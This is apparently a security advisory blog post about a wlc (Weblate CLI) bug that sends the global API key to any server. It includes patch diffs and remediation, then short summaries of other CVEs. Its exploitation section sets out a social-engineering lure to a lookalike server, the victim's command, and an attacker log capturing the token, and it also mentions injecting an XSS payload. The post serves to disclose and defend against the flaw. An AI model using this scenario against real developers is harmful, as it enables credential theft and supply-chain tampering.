Feb 21, 2026·7 min read·14 visits
The Weblate CLI (wlc) < 1.17.0 sends your primary API key to *any* server you connect to if a specific key isn't defined for that URL. Connecting to a malicious server leaks your credentials.
A classic case of 'convenience over security' in the Weblate command-line client (wlc) resulted in a critical scoping vulnerability. Prior to version 1.17.0, the tool treated API keys as global citizens rather than scoped credentials. This meant that if a developer configured a default key for their corporate instance but then connected to a third-party or malicious Weblate server, the client would happily hand over the corporate keys in the HTTP Authorization header. It's a textbook credential leak scenario triggered by the client-side configuration logic.
Developers love command-line interfaces (CLIs). We love them because they are fast, scriptable, and allow us to feel like hackers in 90s movies. But there is a dark side to CLI tools: configuration management. specifically, where and how we store the secrets that let us authenticate.
wlc is the official Python-based CLI for Weblate, a popular web-based translation tool. It allows you to push translations, pull changes, and manage projects without leaving your terminal. To do this, it needs an API key. Naturally, you shove this key into a config file (usually ~/.config/weblate or weblate.ini) so you don't have to type it every time.
Here is where the design philosophy went off the rails. In a sane world, an API key is strictly bound to a specific endpoint (Scope). My key for google.com should never be sent to bing.com. But wlc decided to be "helpful." It implemented a fallback mechanism where, if you defined a key in the general [weblate] section of your config, that key became the Universal Key. It didn't matter where you were connecting—corporate server, open-source project, or a sketchy IP address you found on a forum—wlc would grab that global key and attach it to the request header.
This is the digital equivalent of having a master key for your house, and when you check into a hotel, you hand the receptionist that master key instead of just showing ID.
The vulnerability wasn't a buffer overflow or a complex heap grooming exercise. It was a logical fallacy in wlc/config.py. The root cause lay in how the application parsed its configuration hierarchy.
The class WeblateConfig had a method responsible for fetching credentials: get_url_key(). Its job was simple: "I am connecting to URL X, give me the key for X."
However, the implementation prioritized convenience. It checked the general [weblate] section first (or as a fallback with equal weight). If a key existed there, the code essentially said, "Great, we have a key! Let's use it." It failed to validate if that key was actually intended for the target URL.
In older versions, the logic flow looked something like this:
wlc --url https://evil.com/api/ ...evil.com.[weblate] section.key = SECRET_CORP_KEY.Authorization: Token SECRET_CORP_KEY to https://evil.com/api/.This behavior is catastrophic in an ecosystem where developers might work on multiple Weblate instances—one for work, one for open source, and one for personal projects. A single configuration mistake turns a simple connection attempt into a full credential compromise.
Let's look at the smoking gun. The fix was pushed in commit aafdb507a9e66574ade1f68c50c4fe75dbe80797 by Michal Čihař. The changes effectively nuke the global key concept.
The pre-patch logic allowed the configuration parser to blindly adopt the key from the defaults.
# pseudo-code of the vulnerable logic
section = 'weblate'
if self.config.has_option(section, 'key'):
return self.config.get(section, 'key')
# If we are here, we might look for scoped keys, or we already returned the global one.The patch does two critical things. First, it removes the default key from the initialization, and second, it forces a scoped lookup.
# wlc/config.py (Post-patch)
def get_url_key(self, url):
"""Return URL and key for given URL."""
# ... (url normalization logic)
+ # Explicitly look in the [keys] section using the URL as the index
+ return self.get("keys", url, fallback="")Furthermore, in wlc/main.py, they stopped polluting the global config object with CLI arguments. Instead of injecting command-line keys into the config (which might trigger the fallback logic), they stored them in separate attributes:
# wlc/main.py
- self.config.set_param(key, value)
+ # Store CLI args separately so they don't mix with config file logic
+ setattr(self, f"cli_{key}", value)This ensures that wlc behaves deterministically: if you don't have a key explicitly defined for a specific URL, it should fail (or ask for one), not guess using your most sensitive secret.
How do we weaponize this? We don't need to write shellcode; we just need to trick a developer. This falls under the "Social Engineering" side of exploitation, leveraging the user's trust in their tools.
https://weblate-community-patch.com.wlc configured with their company's API key in the [weblate] section of ~/.weblate.The attacker opens an issue on GitHub or sends a message: "Hey, can you help me debug a translation string? I've hosted it here: https://weblate-community-patch.com."
The victim, trying to be helpful, runs the CLI tool against the new URL:
$ wlc --url https://weblate-community-patch.com show projectsOn the attacker's server logs:
GET /api/projects/ HTTP/1.1
Host: weblate-community-patch.com
User-Agent: wlc/1.16
Authorization: Token wlb-pzp6... (The Victim's Corporate Key)
Accept: application/jsonJust like that, the attacker has a valid, scoped (or potentially admin) token for the victim's corporate environment. They didn't need to hack the corporation; they just asked the developer to knock on their door.
You might think, "It's just a translation tool key." But in modern DevOps, translation platforms like Weblate often sit in the critical path of the CI/CD pipeline. They have write access to source code repositories (to commit translations) or can trigger build webhooks.
An attacker with this key could:
<script>alert(1)</script>) which will then be pulled into the main application and executed in the browsers of every user.This vulnerability (CWE-200) has a CVSS of 5.3 because it requires user interaction, but the impact of a stolen credential can be far higher depending on what that key unlocks.
The immediate fix is software-based, but the long-term fix is behavioral.
1. Update wlc:
Ensure you are running version 1.17.0 or higher. This version enforces strict scoping.
2. Clean up your Config:
Open your ~/.config/weblate or weblate.ini file. Look for this anti-pattern:
[weblate]
url = https://weblate.example.com
key = wlb-xxxx <-- BAD! This is a global fallback.Change it to the scoped format:
[keys]
https://weblate.example.com/api/ = wlb-xxxx
https://opensource.weblate.org/api/ = wlb-yyyy3. Rotate your Keys:
If you have ever used wlc < 1.17.0 to connect to a server you don't control 100%, treat your keys as compromised. Go to your Weblate user profile and regenerate your API tokens immediately.
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
wlc WeblateOrg | < 1.17.0 | 1.17.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-200 |
| Attack Vector | Local / User Interaction |
| CVSS Score | 5.3 (Medium) |
| EPSS Score | 0.00005 |
| Impact | Credential Leakage |
| Exploit Status | No Known Public Exploit |
Exposure of Sensitive Information to an Unauthorized Actor
An integer truncation vulnerability (CWE-197) exists in SQLite before version 3.50.2 during the processing of aggregate queries with more than 32,767 distinct column references. This causes an internal 32-bit counter to truncate to a signed 16-bit integer, producing negative values that cause out-of-bounds heap operations in release builds.
An integer overflow vulnerability in the Windows kernel-mode HTTP driver (HTTP.sys) allows an unauthenticated remote attacker to execute arbitrary code with kernel privileges or cause a Denial of Service via a specially crafted sequence of HTTP request headers.
A memory corruption vulnerability exists in the FTS5 (Full-Text Search 5) extension of SQLite prior to version 3.53.2. An attacker can construct a malicious database file containing corrupt FTS5 page data. Querying this database triggers out-of-bounds reads and heap-based buffer overflows, potentially causing a crash or arbitrary code execution.
A mass assignment vulnerability (CWE-915) in n8n's self-service settings API endpoint (PATCH /me/settings) allows authenticated Single Sign-On (SSO) users to disable SSO enforcement for their accounts by injecting administrative parameters. This bypasses organizational identity provider controls and multi-factor authentication (MFA).
CVE-2026-55699 (also identified as GHSA-4gxm-v5v7-fqc4) is a critical path traversal and arbitrary directory deletion vulnerability in the pnpm package manager. The issue exists because the manifest validation process fails to prevent relative path segments within the package 'bin' keys. When a malicious package containing structured path traversal markers is globally installed and later manipulated, pnpm resolves the target paths through path.join() and passes the resolved paths to a recursive deletion function, resulting in arbitrary directory removal.
A path traversal vulnerability in pnpm stage download allows malicious registries or compromised package manifests to overwrite arbitrary files on the victim's filesystem via unvalidated package name and version fields.